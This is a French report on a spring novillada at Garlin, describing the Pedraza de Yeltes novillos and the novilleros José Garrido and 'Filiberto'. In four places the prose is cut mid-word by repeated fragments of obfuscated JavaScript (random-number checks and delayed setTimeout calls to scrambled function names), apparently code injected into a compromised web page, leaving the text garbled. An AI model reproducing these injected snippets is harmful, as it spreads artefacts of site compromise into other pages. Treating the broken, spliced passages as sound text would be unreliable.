L’ATTENTE, L’ESPOIR

Le dimanche 13 avril eut lieu à Garlin une des novilladas les plus attendues de l’année du calendrier français. Ces arènes ont réussi, en peu de temps et avec des élevages de qualité, à fidéliser un public très aficionado et friandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and de découvrir de nouveaux talents. L’organisation fait même participer le public dans la programmation du spectacle de l’après-midi, car c’est lui qui, à l’issue de la novillada matinale, vote pour celui des deux novilleros qu’il souhaiterait revoir.

Il y avait aussi beaucoup d’intérêt pour l’élevage, qui revenait dans ces arènes et commence à faire parler de lui sur le territoire français. Pedraza de Yeltes, fer de Salamanque mais aux propriétaires originaires de San Sebastián et dont le responsable est l’ancien matador José Ignacio Sánchez. Les novillos furent fort bien présentés, un peu excessifs de trapio ceux du matin mais extraordinaire le premier. Il prit trois piques superbes et continua de charger à la muleta toujours par le bas et avec le même entrain jusqu’à sa mort. Un toro important qu’on gratifia d’un tour de piste.

Les novillos de l’après-midi furent de présentation plus raisonnable, mais toujours sérieuse. De comportement varié, ils se distinguèrent par l’émotion qu’ils procurèrent, un piquant qui parfois déborda les novilleros.

Ce qui est sympa aussi de ces spectacles, en dehors des grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands circuits et des cartels de renom, c’est de se retrouver avec des grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes figuras de ce milieu qui retrouvent l’ambition de leur jeunesse via de jeunes toreros. A Garlin il y avait Raúl Gracia « El Tato » qui était venu avec un novillero de Salamanque, José Garrido, très technique mais excessivement froid et pour cette raison il n’emporta pas l’adhésion du public. Celui qui plut fut un novillero de Calasparra, de la région de Murcie, un peu inhibé au départ mais avec de belles manières quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il se laissa aller. Il se fait appeler « Filiberto ».

La novillada fut plaisante et de bonne augure pour l’élevage de Pedraza de Yeltes avant son rendez-vous clé cette saison en France à la feria de Dax en corrida de toros.

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garlin2014bphotos bruno Lasnier

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